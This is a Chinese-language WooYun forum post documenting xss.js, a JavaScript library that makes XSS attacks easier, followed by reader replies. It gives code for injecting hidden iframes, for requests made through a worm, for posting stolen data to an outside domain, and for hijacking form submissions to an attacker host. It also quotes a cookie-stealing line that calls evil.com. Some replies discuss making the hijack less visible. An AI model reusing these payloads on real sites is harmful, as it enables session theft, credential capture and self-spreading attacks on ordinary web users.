当前位置:WooYun(白帽子技术社区) >> xss >> xss.js 使用手册 [更新 通用表单劫持]

xss.js 使用手册 [更新 通用表单劫持]

Sogili (.) 长短短 (.) | 2012-12-26 08:03

xss.js 是一个用于xss攻击时的基础js库,方便简化与通用化攻击代码.

有什么建议或要贡献代码可以PM我:P

更新地址 http://mmme.me/xss.js

使用xsser.me可以直接在项目中包含xss.js:



一.判断浏览器

xss.js中是使用dom特性来判断浏览器,用于针对不同浏览器写攻击payload时做方便判断.

使用方式:
if(xss.i.i){
  alert('当前是IE浏览器');
}else if(xss.i.c){
  alert('当前是Chrome浏览器');
}else if(xss.i.f){
  alert('当前是Firefox浏览器');
}else if(xss.i.o){
  alert('当前是Opera浏览器');
}else if(xss.i.s){
  alert('当前是Safari浏览器');
}

demo

二.容错取值

做跨窗体取值时,不是很清楚目标窗体是否为同源,例如盲打后台时后台的顶层窗口往往不是与漏洞触发页同域,这时候为了防止浏览器抛出异常影响后面代码执行,可以使用xss.e进行取值.

使用方式:
alert(xss.e('top.location.href'))//获取顶层窗体的地址
demo

三.判断是否为苹果手持设备

方便针对苹果设备进行攻击.

使用方式:
if(xss.apple){
  alert('我是苹果');
}else{
  alert('我是果黑');
}

demo

四.ready事件

由于一些xss攻击中需要操作dom,所以一般大家会将exp放在onload中,但onload有个问题就是会等到资源都加载完才会触发,会导致攻击的成功率降低,这时候就需要ready时间了,它会在dom加载完时被触发.

使用方式:
xss.ready(function(){
   alert(/hello sogili hehehe/);
})

demo

五.加载一段html代码

一般情况下我们需要在页面嵌入一个隐藏的页面一般会这么做:
var iframe=document.createElement('iframe');
iframe.src="http://mmme.me";
iframe.style.display="none";
document.body.appendChild(iframe);
//如果直接write可能会导致页面被重写

这时候我们可以用到xss.dom函数:
xss.dom("<iframe src=http://mmme.me>");//这里不用管标签闭合,因为是dom方式加载所以没有影响.
如果后面还需要操作这个iframe可以直接操作函数返回的dom节点:
var iframe=xss.dom("<iframe src=http://mmme.me>");
iframe.style.display='block';//让iframe显示出来,xss.dom默认是隐藏加载dom的

需要自动销毁的话可以在第二个参数指定时间:
xss.dom("<iframe src=http://mmme.me>",3);//3秒后自动销毁
demo

六.简单的AJAX
ajax在xss蠕虫攻击中是一个经常被使用的东西,但由于浏览器历史原因导致ajax变的略复杂,所以经常能看到一些蠕虫使用的网络广泛流传的"问题"代码,xss.ajax函数把ajax的复杂性和问题都做了处理,用起来会很方便.

GET请求:
xss.ajax('/delete?id=1')//只发送了一个请求
如果需要获得响应内容:
xss.ajax('/delete?id=1',function(){
alert(this.responseText)
})

如果第二个参数不是函数体则会认为是个POST请求:
xss.ajax('/delete','id=1',function(){
alert(this.responseText)
})

demo

七.大数据偷取
一般我们窃取cookie都会使用new Image().src='http://evil.com?cookie='+document.cookie这种方式,但这有个问题就是url有长度限制,如果太长则会导致数据丢失.xss.js解决方案是用表单方式post提交到外域,CORS方式由于兼容性和各种毛病,所以没有考虑.

使用方式:
xss.najax('http://www.baidu.com',{xss:'xsssss'})
如果没有第二个参数则会发送get请求
xss.najax('http://www.baidu.com')//等同于new Image().src='...'
demo

八.通用表单劫持
表单劫持通常是个比较麻烦的模块,可以看看《来吧,技术挑战,搞起!!》上有各种劫持技巧,但都太麻烦了,且不通用.
xss.js的思路是"提交两次",第一次是提交到劫持的地址,第二次是提交到正常地址,这样即便有文件上传也可以劫持到.

使用方式:
xss.xform(document.forms['formEdit'],'http://mmme.me');//将formEdit表单劫持到劫持到mmme.me
demo

//持续更新中...精彩在后面

分享到:
  1. 1#
    回复此人 感谢
    Xhm1n9 | 2012-12-26 08:17

  2. 2#
    回复此人 感谢
    momo | 2012-12-26 08:19

    占个沙发,广告位出租。

  3. 3#
    回复此人 感谢
    蟋蟀哥哥 (̷ͣ̑̆ͯ̆̋͋̒ͩ͊̋̇̒ͦ̿̐͞҉̷̻̖͎̦̼) | 2012-12-26 10:14

    不错呢

  4. 4#
    回复此人 感谢
    CnCxzSec(衰仔) | 2012-12-26 10:57

    so给力!

  5. 5# 感谢(2)
    回复此人 感谢
    gainover (">_< ' / & \ 看啥,没见过跨站字符么) | 2012-12-26 11:02

    持续顶贴中。。。

  6. 6#
    回复此人 感谢
    whking | 2012-12-26 12:05

    说好的收藏功能呢?慢慢学习,呵呵。

  7. 7#
    回复此人 感谢
    risi | 2012-12-26 12:10

    这个可以有。、 也学习学习。

  8. 8#
    回复此人 感谢
    0x0F (..........................................................................................................................................................................................................................................................) | 2012-12-26 12:45

    已喜欢,已感谢。

  9. 9#
    回复此人 感谢
    redrain有节操 (快来和我滚床单) | 2012-12-26 13:01

    喜欢91fa5af81a4c510f06057f536059252dd62aa5f1.jpg.gif

  10. 10#
    回复此人 感谢
    c4bbage (天津 祈福) | 2012-12-26 13:05

    已感谢。

  11. 11#
    回复此人 感谢
    无敌L.t.H (‮……天百一爱恋考高:簿相色白产国) | 2012-12-26 13:29

    xss也搞框架啊,赶快上个cdn。

  12. 12#
    回复此人 感谢
    applychen | 2012-12-26 15:13

    真心不错,顶了~

  13. 13#
    回复此人 感谢
    核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-12-26 19:54

    good!

  14. 14#
    回复此人 感谢
    ttvip11 | 2012-12-26 20:15

    这个叼

  15. 15#
    回复此人 感谢
    葉孒 | 2012-12-26 21:46

    华丽。

  16. 16#
    回复此人 感谢
    墨水心_Len | 2012-12-27 13:11

    已喜欢~

  17. 17#
    回复此人 感谢
    闪电小子 | 2012-12-28 13:44

    good job~

  18. 18#
    回复此人 感谢
    剁刀 | 2012-12-28 16:22

    不错,顶一下,但是表单劫持那个不够隐蔽,会在状态栏显示劫持地址

  19. 19#
    回复此人 感谢
    Sogili (.) 长短短 (.) | 2012-12-28 17:41

    @剁刀 有什么好办法让地址栏不显示吗

  20. 20#
    回复此人 感谢
    剁刀 | 2012-12-28 17:49

    @Sogili 好像也只有那些不通用的方法了,比如image()

  21. 21#
    回复此人 感谢
    xfkxfk | 2012-12-29 19:06

    不错,顶一下

  22. 22#
    回复此人 感谢
    八云幽紫 | 2012-12-30 09:58

    @redrain有节操 感觉乌云上也有不少宅啊= =

  23. 23#
    回复此人 感谢
    suclogger (become quiter,hear more) | 2012-12-30 11:09

    很不错,支持!

  24. 24#
    回复此人 感谢
    saber (终极屌丝之路~) | 2012-12-31 00:39

    支持下,,

  25. 25#
    回复此人 感谢
    saber (终极屌丝之路~) | 2012-12-31 00:39

    @redrain有节操 远坂?

  26. 26#
    回复此人 感谢
    iv4n | 2012-12-31 14:09

    不错,先收藏,刚看第一个demo,不过dom特性判断浏览器这块太粗糙了,不过利用xss基本ok

  27. 27#
    回复此人 感谢
    Sogili (.) 长短短 (.) | 2012-12-31 17:41

    @iv4n 粗糙?这是我最得瑟的地方啊...应该是判断代码最少最精准的了吧..通过ua的都很麻烦的

  28. 28#
    回复此人 感谢
    /fd (Http://prompt.ml) | 2012-12-31 17:44

    說到最少有很多地方可以簡化吧

  29. 29#
    回复此人 感谢
    Sogili (.) 长短短 (.) | 2012-12-31 18:14

    @/fd 嗯?

  30. 30#
    回复此人 感谢
    /fd (Http://prompt.ml) | 2012-12-31 18:43

    比如随机数那裡可以簡一下
    function(){return 0|Math.random()*1e5}
    判断是否为苹果手持设备
    /ip(one|ad|od)/i.test(x.ua)

  31. 31#
    回复此人 感谢
    Sogili (.) 长短短 (.) | 2012-12-31 19:36

    @/fd Great!已改进 :D

  32. 32#
    回复此人 感谢
    iv4n | 2013-01-02 16:11

    @Sogili  楼主不要误会:)  
    这个判断浏览器(内核?)的方法和代码都非常nice, 1024;
    个人觉得美中不足的是方案不够普遍,有一定误报,当然,那是对于小众浏览器了。
    不过作为XSS漏洞的利用,不考虑版本的话,个人觉得已经是最优方案了。

  33. 33#
    回复此人 感谢
    Sogili (.) 长短短 (.) | 2013-01-02 19:42

    @iv4n 了解了,下一版本中已经支持判断IE版本.

  34. 34#
    回复此人 感谢
    Wdot | 2013-01-05 15:28

    收藏呀

  35. 35#
    回复此人 感谢
    汉时明月 (‮......核审在正长超名签 :) | 2013-01-05 20:48

    这个牛逼啊

  36. 36# 感谢(1)
    回复此人 感谢
    t00000by57 (no exploit) | 2013-05-29 00:17

    xss.ajax方法 IE 9 失效了好像

  37. 37#
    回复此人 感谢
    Sogili (.) 长短短 (.) | 2013-05-29 10:03

    @t00000by57 已感谢,已补丁,IE的location.port不规范返回值导致:)

    新版移到了 http://pujun.li/xss.js
    顺便说下xss.js 2的一些变化:
    1.新增IE版本判断
    if(xss.i.i==6)alert('这是IE6');
    2.najax函数改名为csrf函数.
    3.改进了ajax函数,支持html5的浏览器可以用ajax函数做csrf攻击了.
    4.修复若干bug.

  38. 38#
    回复此人 感谢
    神倦懒言 | 2013-06-21 22:35

    ganxie

  39. 39#
    回复此人 感谢
    卡农 | 2014-01-17 16:48

    请问.....哪里可以下载这个xss.js文件

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录